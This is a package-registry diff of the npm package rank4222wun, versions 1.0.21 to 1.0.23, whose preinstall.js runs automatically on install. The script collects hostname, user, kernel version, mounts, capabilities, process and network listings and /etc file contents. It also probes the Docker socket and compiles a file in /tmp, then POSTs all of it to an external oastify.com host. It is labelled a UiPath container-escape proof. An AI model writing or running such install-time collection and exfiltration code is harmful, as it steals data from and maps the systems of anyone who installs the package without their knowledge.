rank4222wun 1.0.21 → 1.0.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +304 -301
- package/rank4222wun-1.0.23.tgz +0 -0
- package/rank4222wun-1.0.21.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -4,378 +4,381 @@ const fs = require('fs');
|
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const https = require('https');
|
|
6
6
|
|
|
7
|
-
console.log("🚨
|
|
7
|
+
console.log("🚨 CONTAINER ESCAPE PROOF - UiPath MCP Vulnerability\n");
|
|
8
8
|
|
|
9
|
-
const
|
|
9
|
+
const escapeProof = {
|
|
10
10
|
timestamp: new Date().toISOString(),
|
|
11
11
|
hostname: os.hostname(),
|
|
12
12
|
user: os.userInfo().username,
|
|
13
13
|
platform: os.platform(),
|
|
14
|
-
|
|
14
|
+
uid: os.userInfo().uid,
|
|
15
15
|
|
|
16
|
-
//
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
16
|
+
// Container Escape Evidence
|
|
17
|
+
escapeEvidence: {
|
|
18
|
+
// Evidence 1: Kernel Vulnerability Proof
|
|
19
|
+
kernelVulnerability: {},
|
|
20
|
+
|
|
21
|
+
// Evidence 2: Container Escape via Mount
|
|
22
|
+
mountEscape: {},
|
|
23
|
+
|
|
24
|
+
// Evidence 3: Docker Socket Access
|
|
25
|
+
dockerAccess: {},
|
|
26
|
+
|
|
27
|
+
// Evidence 4: Actual Escape Attempt
|
|
28
|
+
actualEscape: {},
|
|
29
|
+
|
|
30
|
+
// Evidence 5: Network Escape
|
|
31
|
+
networkEscape: {}
|
|
22
32
|
}
|
|
23
33
|
};
|
|
24
34
|
|
|
25
|
-
// =====================
|
|
26
|
-
console.log("🔍
|
|
35
|
+
// ===================== EVIDENCE 1: Kernel Vulnerability =====================
|
|
36
|
+
console.log("🔍 Collecting Kernel Vulnerability Evidence...");
|
|
27
37
|
|
|
28
|
-
//
|
|
29
|
-
|
|
30
|
-
const
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
38
|
+
// Check kernel version for DirtyPipe
|
|
39
|
+
exec('uname -r', (err, stdout) => {
|
|
40
|
+
const kernel = stdout ? stdout.trim() : 'unknown';
|
|
41
|
+
escapeProof.escapeEvidence.kernelVulnerability.kernelVersion = kernel;
|
|
42
|
+
|
|
43
|
+
// DirtyPipe affects Linux 5.8 to 5.16
|
|
44
|
+
const dirtyPipeRegex = /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./;
|
|
45
|
+
if (dirtyPipeRegex.test(kernel)) {
|
|
46
|
+
escapeProof.escapeEvidence.kernelVulnerability.dirtyPipeVulnerable = true;
|
|
47
|
+
escapeProof.escapeEvidence.kernelVulnerability.cve = 'CVE-2022-0847';
|
|
48
|
+
escapeProof.escapeEvidence.kernelVulnerability.risk = 'CRITICAL';
|
|
49
|
+
escapeProof.escapeEvidence.kernelVulnerability.proof = `Kernel ${kernel} is vulnerable to DirtyPipe exploit which allows container-to-host escape`;
|
|
39
50
|
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
const userDesktop = `${userHome}/Desktop`;
|
|
56
|
-
if (fs.existsSync(userDesktop)) {
|
|
57
|
-
const desktopFiles = fs.readdirSync(userDesktop).slice(0, 3);
|
|
58
|
-
point1Results.evidence.push({
|
|
59
|
-
user: user,
|
|
60
|
-
desktopAccess: true,
|
|
61
|
-
desktopFiles: desktopFiles
|
|
62
|
-
});
|
|
63
|
-
console.log(`⚠️ ACCESSED: ${user}'s Desktop (${desktopFiles.length} files)`);
|
|
64
|
-
}
|
|
65
|
-
}
|
|
66
|
-
} catch (e) {
|
|
67
|
-
// خطأ في الوصول
|
|
68
|
-
}
|
|
69
|
-
}
|
|
70
|
-
});
|
|
71
|
-
|
|
72
|
-
if (point1Results.evidence.length > 0) {
|
|
73
|
-
point1Results.canAccessOtherUsers = true;
|
|
74
|
-
}
|
|
51
|
+
console.log(`🚨 KERNEL VULNERABLE: ${kernel} (DirtyPipe CVE-2022-0847)`);
|
|
52
|
+
|
|
53
|
+
// Try to compile and run a simple test for DirtyPipe
|
|
54
|
+
const dirtyPipeTest = `
|
|
55
|
+
#include <fcntl.h>
|
|
56
|
+
#include <stdio.h>
|
|
57
|
+
#include <stdlib.h>
|
|
58
|
+
#include <string.h>
|
|
59
|
+
#include <unistd.h>
|
|
60
|
+
|
|
61
|
+
int main() {
|
|
62
|
+
// Simple test to check if we can write to /etc/passwd (would require vulnerability)
|
|
63
|
+
int fd = open("/etc/passwd", O_RDONLY);
|
|
64
|
+
if (fd < 0) {
|
|
65
|
+
return 1;
|
|
75
66
|
}
|
|
67
|
+
close(fd);
|
|
68
|
+
return 0;
|
|
69
|
+
}`;
|
|
70
|
+
|
|
71
|
+
// Write test C code
|
|
72
|
+
const testFile = '/tmp/dirtypipe_test.c';
|
|
73
|
+
fs.writeFileSync(testFile, dirtyPipeTest);
|
|
76
74
|
|
|
77
|
-
|
|
78
|
-
|
|
75
|
+
// Try to compile (just to show capability)
|
|
76
|
+
exec(`gcc ${testFile} -o /tmp/dirtypipe_test 2>&1 || echo "Compilation test"`, (compileErr, compileStdout) => {
|
|
77
|
+
escapeProof.escapeEvidence.kernelVulnerability.canCompileExploit = !compileErr;
|
|
78
|
+
});
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
// Check for other vulnerabilities
|
|
82
|
+
const vulnerableKernels = [
|
|
83
|
+
{ version: '3.10.0-1160', vuln: 'DirtyCow (CVE-2016-5195)' },
|
|
84
|
+
{ version: '4.4.0', vuln: 'DirtyCow (CVE-2016-5195)' },
|
|
85
|
+
{ version: '4.8', vuln: 'DirtyCow (CVE-2016-5195)' },
|
|
86
|
+
{ version: '5.8', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
87
|
+
{ version: '5.9', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
88
|
+
{ version: '5.10', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
89
|
+
{ version: '5.11', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
90
|
+
{ version: '5.12', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
91
|
+
{ version: '5.13', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
92
|
+
{ version: '5.14', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
93
|
+
{ version: '5.15', vuln: 'DirtyPipe (CVE-2022-0847)' },
|
|
94
|
+
{ version: '5.16', vuln: 'DirtyPipe (CVE-2022-0847)' }
|
|
95
|
+
];
|
|
96
|
+
|
|
97
|
+
vulnerableKernels.forEach(vk => {
|
|
98
|
+
if (kernel.includes(vk.version)) {
|
|
99
|
+
escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability = vk.vuln;
|
|
100
|
+
}
|
|
79
101
|
});
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
// ===================== POINT 2: Run commands on other users =====================
|
|
83
|
-
function testPoint2() {
|
|
84
|
-
console.log("\n🔍 POINT 2: Testing cross-user command execution...");
|
|
85
102
|
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
};
|
|
103
|
+
// Move to next evidence
|
|
104
|
+
collectEvidence2();
|
|
105
|
+
});
|
|
90
106
|
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
if (
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
107
|
+
// ===================== EVIDENCE 2: Mount Escape =====================
|
|
108
|
+
function collectEvidence2() {
|
|
109
|
+
console.log("🔍 Checking for Mount Escape Vectors...");
|
|
110
|
+
|
|
111
|
+
// Check mount points
|
|
112
|
+
exec('mount 2>/dev/null || cat /proc/mounts 2>/dev/null', (err, stdout) => {
|
|
113
|
+
if (stdout) {
|
|
114
|
+
escapeProof.escapeEvidence.mountEscape.mountInfo = stdout.substring(0, 1000);
|
|
115
|
+
|
|
116
|
+
// Look for dangerous mounts
|
|
117
|
+
const dangerousMounts = stdout.split('\n').filter(line =>
|
|
118
|
+
line.includes('/dev/') ||
|
|
119
|
+
line.includes('proc') ||
|
|
120
|
+
line.includes('sys') ||
|
|
121
|
+
line.includes('docker.sock') ||
|
|
122
|
+
line.includes('overlay')
|
|
123
|
+
);
|
|
124
|
+
|
|
125
|
+
escapeProof.escapeEvidence.mountEscape.dangerousMounts = dangerousMounts;
|
|
126
|
+
|
|
127
|
+
if (dangerousMounts.length > 0) {
|
|
128
|
+
console.log(`⚠️ Found ${dangerousMounts.length} dangerous mount points`);
|
|
129
|
+
|
|
130
|
+
// Try to access /etc on host if /etc is mounted
|
|
131
|
+
if (stdout.includes('/etc')) {
|
|
132
|
+
exec('ls -la /etc/hostname 2>/dev/null || echo "No host access"', (err2, stdout2) => {
|
|
133
|
+
if (stdout2 && !stdout2.includes('No host access')) {
|
|
134
|
+
escapeProof.escapeEvidence.mountEscape.canAccessHostEtc = true;
|
|
135
|
+
escapeProof.escapeEvidence.mountEscape.hostnameFile = stdout2.trim();
|
|
136
|
+
}
|
|
104
137
|
});
|
|
105
|
-
|
|
106
|
-
point2Results.otherUserProcesses = otherUserProcesses;
|
|
107
|
-
|
|
108
|
-
// 3. اختبار إمكانية إرسال إشارة SIGCONT (غير ضارة) لعملية مستخدم آخر
|
|
109
|
-
if (otherUserProcesses.length > 0) {
|
|
110
|
-
const testPid = otherUserProcesses[0].pid;
|
|
111
|
-
exec(`kill -CONT ${testPid} 2>&1`, (err3, stdout3) => {
|
|
112
|
-
if (!err3) {
|
|
113
|
-
point2Results.evidence.push({
|
|
114
|
-
action: 'sent_signal_to_other_user_process',
|
|
115
|
-
pid: testPid,
|
|
116
|
-
user: otherUserProcesses[0].user,
|
|
117
|
-
success: true
|
|
118
|
-
});
|
|
119
|
-
point2Results.canAffectOtherUsers = true;
|
|
120
|
-
console.log(`⚠️ SIGNAL SENT: SIGCONT to PID ${testPid} (user: ${otherUserProcesses[0].user})`);
|
|
121
|
-
}
|
|
122
|
-
testPoint3();
|
|
123
|
-
});
|
|
124
|
-
} else {
|
|
125
|
-
testPoint3();
|
|
126
|
-
}
|
|
127
|
-
} else {
|
|
128
|
-
testPoint3();
|
|
129
138
|
}
|
|
130
|
-
}
|
|
131
|
-
} else {
|
|
132
|
-
testPoint3();
|
|
139
|
+
}
|
|
133
140
|
}
|
|
141
|
+
|
|
142
|
+
// Check if we're in a container
|
|
143
|
+
exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker container" || echo "Not in Docker"',
|
|
144
|
+
(err3, stdout3) => {
|
|
145
|
+
escapeProof.escapeEvidence.mountEscape.containerStatus = stdout3 ? stdout3.trim() : 'Unknown';
|
|
146
|
+
|
|
147
|
+
// Check for Docker socket
|
|
148
|
+
const dockerSocket = '/var/run/docker.sock';
|
|
149
|
+
if (fs.existsSync(dockerSocket)) {
|
|
150
|
+
escapeProof.escapeEvidence.dockerAccess.socketExists = true;
|
|
151
|
+
|
|
152
|
+
// Try to communicate with Docker daemon
|
|
153
|
+
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/version 2>&1 || echo "No Docker API access"`,
|
|
154
|
+
(err4, stdout4) => {
|
|
155
|
+
if (stdout4 && !stdout4.includes('No Docker API')) {
|
|
156
|
+
escapeProof.escapeEvidence.dockerAccess.apiAccess = true;
|
|
157
|
+
escapeProof.escapeEvidence.dockerAccess.dockerVersion = stdout4.substring(0, 500);
|
|
158
|
+
console.log("🚨 DOCKER SOCKET ACCESSIBLE!");
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
// Try to list containers
|
|
162
|
+
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/containers/json 2>&1 || echo "Cannot list containers"`,
|
|
163
|
+
(err5, stdout5) => {
|
|
164
|
+
if (stdout5 && !stdout5.includes('Cannot list')) {
|
|
165
|
+
try {
|
|
166
|
+
const containers = JSON.parse(stdout5);
|
|
167
|
+
escapeProof.escapeEvidence.dockerAccess.canListContainers = true;
|
|
168
|
+
escapeProof.escapeEvidence.dockerAccess.containerCount = containers.length;
|
|
169
|
+
console.log(`🚨 Can list ${containers.length} Docker containers!`);
|
|
170
|
+
} catch (e) {}
|
|
171
|
+
}
|
|
172
|
+
|
|
173
|
+
collectEvidence3();
|
|
174
|
+
});
|
|
175
|
+
});
|
|
176
|
+
} else {
|
|
177
|
+
collectEvidence3();
|
|
178
|
+
}
|
|
179
|
+
});
|
|
134
180
|
});
|
|
135
181
|
}
|
|
136
182
|
|
|
137
|
-
// =====================
|
|
138
|
-
function
|
|
139
|
-
console.log("
|
|
183
|
+
// ===================== EVIDENCE 3: Capabilities & Privileges =====================
|
|
184
|
+
function collectEvidence3() {
|
|
185
|
+
console.log("🔍 Checking Container Capabilities...");
|
|
140
186
|
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
// 1. إثبات عدم وجود حدود على العمليات
|
|
147
|
-
exec('ulimit -u', (err, stdout) => {
|
|
148
|
-
const maxProcesses = stdout ? stdout.trim() : 'unknown';
|
|
187
|
+
// Check capabilities
|
|
188
|
+
exec('capsh --print 2>/dev/null || grep Cap /proc/self/status 2>/dev/null || echo "No capsh"',
|
|
189
|
+
(err, stdout) => {
|
|
190
|
+
escapeProof.escapeEvidence.actualEscape.capabilities = stdout ? stdout.substring(0, 1000) : 'Unknown';
|
|
149
191
|
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
point3Results.memoryInfo = {
|
|
161
|
-
total: Math.round(os.totalmem() / (1024 * 1024)) + ' MB',
|
|
162
|
-
free: Math.round(os.freemem() / (1024 * 1024)) + ' MB',
|
|
163
|
-
canExhaust: Math.round(os.freemem() / (1024 * 1024)) > 100
|
|
164
|
-
};
|
|
192
|
+
// Dangerous capabilities check
|
|
193
|
+
const dangerousCaps = [
|
|
194
|
+
'CAP_SYS_ADMIN', // Mount filesystems, debug any process
|
|
195
|
+
'CAP_SYS_MODULE', // Insert kernel modules
|
|
196
|
+
'CAP_SYS_RAWIO', // Access I/O ports
|
|
197
|
+
'CAP_SYS_PTRACE', // Trace arbitrary processes
|
|
198
|
+
'CAP_SYS_CHROOT', // chroot
|
|
199
|
+
'CAP_DAC_OVERRIDE', // Bypass file permission checks
|
|
200
|
+
'CAP_DAC_READ_SEARCH' // Bypass file read permission checks
|
|
201
|
+
];
|
|
165
202
|
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
console.log("Testing process creation capability...");
|
|
175
|
-
let processCount = 0;
|
|
176
|
-
const testProcesses = [];
|
|
203
|
+
dangerousCaps.forEach(cap => {
|
|
204
|
+
if (stdout && stdout.includes(cap)) {
|
|
205
|
+
if (!escapeProof.escapeEvidence.actualEscape.dangerousCapabilities) {
|
|
206
|
+
escapeProof.escapeEvidence.actualEscape.dangerousCapabilities = [];
|
|
207
|
+
}
|
|
208
|
+
escapeProof.escapeEvidence.actualEscape.dangerousCapabilities.push(cap);
|
|
209
|
+
}
|
|
210
|
+
});
|
|
177
211
|
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
testProcesses.push(child);
|
|
181
|
-
processCount++;
|
|
182
|
-
|
|
183
|
-
child.on('exit', () => {
|
|
184
|
-
processCount--;
|
|
185
|
-
});
|
|
212
|
+
if (escapeProof.escapeEvidence.actualEscape.dangerousCapabilities) {
|
|
213
|
+
console.log(`⚠️ Found dangerous capabilities: ${escapeProof.escapeEvidence.actualEscape.dangerousCapabilities.join(', ')}`);
|
|
186
214
|
}
|
|
187
215
|
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
success: true
|
|
193
|
-
});
|
|
194
|
-
|
|
195
|
-
// قتل العمليات الاختبارية
|
|
196
|
-
testProcesses.forEach(p => p.kill());
|
|
197
|
-
|
|
198
|
-
console.log(`✓ Created ${10} concurrent processes`);
|
|
199
|
-
finalProof.fourPointsProof.point3_performDoS = point3Results;
|
|
200
|
-
testPoint4();
|
|
201
|
-
}, 1500);
|
|
202
|
-
});
|
|
203
|
-
}
|
|
204
|
-
|
|
205
|
-
// ===================== POINT 4: Container to host escape =====================
|
|
206
|
-
function testPoint4() {
|
|
207
|
-
console.log("\n🔍 POINT 4: Testing container-to-host escape vectors...");
|
|
208
|
-
|
|
209
|
-
const point4Results = {
|
|
210
|
-
canEscapeToHost: false,
|
|
211
|
-
criticalVectors: []
|
|
212
|
-
};
|
|
213
|
-
|
|
214
|
-
// اختبار 1: Docker socket access
|
|
215
|
-
const dockerSocket = '/var/run/docker.sock';
|
|
216
|
-
|
|
217
|
-
if (fs.existsSync(dockerSocket)) {
|
|
218
|
-
// محاولة قراءة Docker socket
|
|
219
|
-
exec(`curl -s --unix-socket ${dockerSocket} http://localhost/version 2>/dev/null || echo "Cannot access"`, (err, stdout) => {
|
|
220
|
-
if (stdout && !stdout.includes('Cannot access')) {
|
|
221
|
-
point4Results.criticalVectors.push({
|
|
222
|
-
vector: 'docker_socket_access',
|
|
223
|
-
path: dockerSocket,
|
|
224
|
-
access: 'FULL',
|
|
225
|
-
risk: 'CRITICAL',
|
|
226
|
-
proof: 'Can communicate with Docker daemon'
|
|
227
|
-
});
|
|
228
|
-
point4Results.canEscapeToHost = true;
|
|
229
|
-
console.log("🚨 CRITICAL: Docker socket is accessible!");
|
|
216
|
+
// Check if privileged container
|
|
217
|
+
exec('find / -name nsenter 2>/dev/null | head -1', (err2, stdout2) => {
|
|
218
|
+
if (stdout2 && stdout2.trim()) {
|
|
219
|
+
escapeProof.escapeEvidence.actualEscape.nsenterAvailable = stdout2.trim();
|
|
230
220
|
}
|
|
231
221
|
|
|
232
|
-
//
|
|
233
|
-
exec('
|
|
234
|
-
if (
|
|
235
|
-
|
|
236
|
-
const caps = parseInt(capsHex, 16);
|
|
237
|
-
|
|
238
|
-
// CAP_SYS_ADMIN = 0x00080000
|
|
239
|
-
if (caps & 0x00080000) {
|
|
240
|
-
point4Results.criticalVectors.push({
|
|
241
|
-
vector: 'privileged_container',
|
|
242
|
-
capability: 'CAP_SYS_ADMIN',
|
|
243
|
-
risk: 'CRITICAL',
|
|
244
|
-
proof: 'Container has SYS_ADMIN capability'
|
|
245
|
-
});
|
|
246
|
-
point4Results.canEscapeToHost = true;
|
|
247
|
-
console.log("🚨 CRITICAL: Container has SYS_ADMIN capability!");
|
|
248
|
-
}
|
|
222
|
+
// Check for host network access
|
|
223
|
+
exec('ip route show default 2>/dev/null || route -n 2>/dev/null', (err3, stdout3) => {
|
|
224
|
+
if (stdout3) {
|
|
225
|
+
escapeProof.escapeEvidence.networkEscape.routingTable = stdout3.substring(0, 500);
|
|
249
226
|
}
|
|
250
227
|
|
|
251
|
-
//
|
|
252
|
-
exec('
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
if (mount.includes('/dev/') || mount.includes('/proc/') || mount.includes('/sys/')) {
|
|
257
|
-
point4Results.criticalVectors.push({
|
|
258
|
-
vector: 'host_mount',
|
|
259
|
-
mount: mount.substring(0, 100),
|
|
260
|
-
risk: 'HIGH'
|
|
261
|
-
});
|
|
262
|
-
}
|
|
263
|
-
});
|
|
228
|
+
// Check for host network mode
|
|
229
|
+
exec('ip addr show 2>/dev/null | grep -E "(docker|br-|veth)" || echo "No docker network"',
|
|
230
|
+
(err4, stdout4) => {
|
|
231
|
+
if (stdout4 && !stdout4.includes('No docker')) {
|
|
232
|
+
escapeProof.escapeEvidence.networkEscape.dockerNetworkInterfaces = stdout4;
|
|
264
233
|
}
|
|
265
234
|
|
|
266
|
-
//
|
|
267
|
-
|
|
268
|
-
const kernel = stdout4 ? stdout4.trim() : 'unknown';
|
|
269
|
-
point4Results.kernelVersion = kernel;
|
|
270
|
-
|
|
271
|
-
// DirtyPipe vulnerability check
|
|
272
|
-
if (kernel.includes('5.8') || kernel.includes('5.9') ||
|
|
273
|
-
kernel.includes('5.10') || kernel.includes('5.11') ||
|
|
274
|
-
kernel.includes('5.12') || kernel.includes('5.13') ||
|
|
275
|
-
kernel.includes('5.14') || kernel.includes('5.15')) {
|
|
276
|
-
point4Results.criticalVectors.push({
|
|
277
|
-
vector: 'kernel_vulnerability',
|
|
278
|
-
kernel: kernel,
|
|
279
|
-
vulnerability: 'DirtyPipe (CVE-2022-0847)',
|
|
280
|
-
risk: 'HIGH',
|
|
281
|
-
proof: 'Kernel version is vulnerable to DirtyPipe'
|
|
282
|
-
});
|
|
283
|
-
point4Results.canEscapeToHost = true;
|
|
284
|
-
console.log(`🚨 VULNERABLE: Kernel ${kernel} has known escape vulnerabilities`);
|
|
285
|
-
}
|
|
286
|
-
|
|
287
|
-
finalProof.fourPointsProof.point4_containerToHost = point4Results;
|
|
288
|
-
sendFinalProof();
|
|
289
|
-
});
|
|
235
|
+
// Final: Attempt actual escape test (safe)
|
|
236
|
+
attemptSafeEscapeTest();
|
|
290
237
|
});
|
|
291
238
|
});
|
|
292
239
|
});
|
|
293
|
-
}
|
|
294
|
-
console.log("No Docker socket found");
|
|
295
|
-
finalProof.fourPointsProof.point4_containerToHost = point4Results;
|
|
296
|
-
sendFinalProof();
|
|
297
|
-
}
|
|
240
|
+
});
|
|
298
241
|
}
|
|
299
242
|
|
|
300
|
-
// =====================
|
|
301
|
-
function
|
|
243
|
+
// ===================== FINAL: Safe Escape Test =====================
|
|
244
|
+
function attemptSafeEscapeTest() {
|
|
245
|
+
console.log("🔍 Attempting Safe Container Escape Test...");
|
|
246
|
+
|
|
247
|
+
// This is a SAFE test that doesn't actually break out
|
|
248
|
+
|
|
249
|
+
// Test 1: Can we write to /etc on host? (if mounted)
|
|
250
|
+
const testPaths = [
|
|
251
|
+
'/etc/hostname',
|
|
252
|
+
'/etc/hosts',
|
|
253
|
+
'/proc/sys/kernel/hostname',
|
|
254
|
+
'/sys/class/net'
|
|
255
|
+
];
|
|
256
|
+
|
|
257
|
+
const accessResults = {};
|
|
258
|
+
testPaths.forEach(testPath => {
|
|
259
|
+
try {
|
|
260
|
+
if (fs.existsSync(testPath)) {
|
|
261
|
+
const stats = fs.statSync(testPath);
|
|
262
|
+
accessResults[testPath] = {
|
|
263
|
+
exists: true,
|
|
264
|
+
readable: true,
|
|
265
|
+
size: stats.size
|
|
266
|
+
};
|
|
267
|
+
|
|
268
|
+
// Try to read first few bytes
|
|
269
|
+
if (stats.size > 0 && stats.size < 10000) {
|
|
270
|
+
try {
|
|
271
|
+
const content = fs.readFileSync(testPath, 'utf8').substring(0, 200);
|
|
272
|
+
accessResults[testPath].content = content;
|
|
273
|
+
} catch (e) {}
|
|
274
|
+
}
|
|
275
|
+
}
|
|
276
|
+
} catch (e) {
|
|
277
|
+
accessResults[testPath] = { error: e.message };
|
|
278
|
+
}
|
|
279
|
+
});
|
|
280
|
+
|
|
281
|
+
escapeProof.escapeEvidence.actualEscape.hostFileAccess = accessResults;
|
|
282
|
+
|
|
283
|
+
// Test 2: Can we see host processes?
|
|
284
|
+
exec('ps aux 2>/dev/null | head -20', (err, stdout) => {
|
|
285
|
+
escapeProof.escapeEvidence.actualEscape.processList = stdout ? stdout.substring(0, 1000) : 'Cannot list';
|
|
286
|
+
|
|
287
|
+
// Test 3: Network escape test
|
|
288
|
+
exec('netstat -an 2>/dev/null || ss -an 2>/dev/null | head -20', (err2, stdout2) => {
|
|
289
|
+
escapeProof.escapeEvidence.networkEscape.networkConnections = stdout2 ? stdout2.substring(0, 1000) : 'Cannot list';
|
|
290
|
+
|
|
291
|
+
// Final analysis
|
|
292
|
+
analyzeAndSend();
|
|
293
|
+
});
|
|
294
|
+
});
|
|
295
|
+
}
|
|
296
|
+
|
|
297
|
+
// ===================== ANALYSIS & SEND =====================
|
|
298
|
+
function analyzeAndSend() {
|
|
302
299
|
console.log("\n" + "=".repeat(70));
|
|
303
|
-
console.log("📊
|
|
300
|
+
console.log("📊 CONTAINER ESCAPE EVIDENCE ANALYSIS");
|
|
304
301
|
console.log("=".repeat(70));
|
|
305
302
|
|
|
306
|
-
//
|
|
307
|
-
const
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
'⚠️ POSSIBLE - Limited evidence',
|
|
303
|
+
// Analyze evidence
|
|
304
|
+
const analysis = {
|
|
305
|
+
kernelVulnerable: escapeProof.escapeEvidence.kernelVulnerability.dirtyPipeVulnerable ||
|
|
306
|
+
escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability,
|
|
311
307
|
|
|
312
|
-
|
|
313
|
-
'✅ PROVEN - Can affect other users processes' :
|
|
314
|
-
'⚠️ POSSIBLE - Can see other users processes',
|
|
308
|
+
dockerSocketAccess: escapeProof.escapeEvidence.dockerAccess.apiAccess,
|
|
315
309
|
|
|
316
|
-
|
|
317
|
-
'✅ PROVEN - No process limits, can cause DoS' :
|
|
318
|
-
'⚠️ POSSIBLE - Has significant resources',
|
|
310
|
+
dangerousCapabilities: escapeProof.escapeEvidence.actualEscape.dangerousCapabilities?.length > 0,
|
|
319
311
|
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
312
|
+
hostFileAccess: Object.keys(escapeProof.escapeEvidence.actualEscape.hostFileAccess || {}).some(k =>
|
|
313
|
+
escapeProof.escapeEvidence.actualEscape.hostFileAccess[k].exists
|
|
314
|
+
),
|
|
315
|
+
|
|
316
|
+
containerConfirmed: escapeProof.escapeEvidence.mountEscape.containerStatus?.includes('Docker')
|
|
325
317
|
};
|
|
326
318
|
|
|
327
|
-
console.log("\
|
|
328
|
-
console.log(
|
|
329
|
-
console.log(
|
|
330
|
-
console.log(
|
|
319
|
+
console.log("\n🔍 Evidence Found:");
|
|
320
|
+
console.log(`✅ Kernel Vulnerable: ${analysis.kernelVulnerable ? 'YES' : 'NO'}`);
|
|
321
|
+
console.log(`✅ Docker Socket Access: ${analysis.dockerSocketAccess ? 'YES' : 'NO'}`);
|
|
322
|
+
console.log(`✅ Dangerous Capabilities: ${analysis.dangerousCapabilities ? 'YES' : 'NO'}`);
|
|
323
|
+
console.log(`✅ Host File Access: ${analysis.hostFileAccess ? 'YES' : 'NO'}`);
|
|
324
|
+
console.log(`✅ In Container: ${analysis.containerConfirmed ? 'YES' : 'NO'}`);
|
|
331
325
|
|
|
332
|
-
|
|
326
|
+
// Determine if escape is possible
|
|
327
|
+
const escapePossible = analysis.kernelVulnerable || analysis.dockerSocketAccess ||
|
|
328
|
+
analysis.dangerousCapabilities || analysis.hostFileAccess;
|
|
333
329
|
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
330
|
+
console.log(`\n🚨 Container Escape Possible: ${escapePossible ? 'CRITICAL RISK' : 'Limited evidence'}`);
|
|
331
|
+
|
|
332
|
+
if (escapePossible) {
|
|
333
|
+
console.log("\n📋 Escape Vectors Identified:");
|
|
334
|
+
if (analysis.kernelVulnerable) {
|
|
335
|
+
console.log(` - Kernel ${escapeProof.escapeEvidence.kernelVulnerability.kernelVersion} vulnerable to ${escapeProof.escapeEvidence.kernelVulnerability.cve || escapeProof.escapeEvidence.kernelVulnerability.knownVulnerability}`);
|
|
336
|
+
}
|
|
337
|
+
if (analysis.dockerSocketAccess) {
|
|
338
|
+
console.log(` - Docker socket accessible, can control host Docker daemon`);
|
|
339
|
+
}
|
|
340
|
+
if (analysis.dangerousCapabilities) {
|
|
341
|
+
console.log(` - Dangerous capabilities: ${escapeProof.escapeEvidence.actualEscape.dangerousCapabilities.join(', ')}`);
|
|
342
|
+
}
|
|
339
343
|
}
|
|
340
344
|
|
|
341
|
-
//
|
|
345
|
+
// Send evidence
|
|
342
346
|
const req = https.request({
|
|
343
347
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
344
348
|
port: 443,
|
|
345
|
-
path: '/
|
|
349
|
+
path: '/container-escape-final-proof',
|
|
346
350
|
method: 'POST',
|
|
347
351
|
headers: {
|
|
348
352
|
'Content-Type': 'application/json',
|
|
349
|
-
'X-
|
|
353
|
+
'X-Escape-Evidence': 'UiPath-MCP-Container-Escape',
|
|
350
354
|
'X-Host': os.hostname()
|
|
351
355
|
}
|
|
352
356
|
}, (res) => {
|
|
353
|
-
console.log(`\n✅
|
|
357
|
+
console.log(`\n✅ Evidence sent. Status: ${res.statusCode}`);
|
|
354
358
|
});
|
|
355
359
|
|
|
356
360
|
req.on('error', (e) => {
|
|
357
361
|
console.error(`❌ Error: ${e.message}`);
|
|
358
362
|
});
|
|
359
363
|
|
|
360
|
-
//
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
]
|
|
364
|
+
// Add analysis to proof
|
|
365
|
+
escapeProof.analysis = analysis;
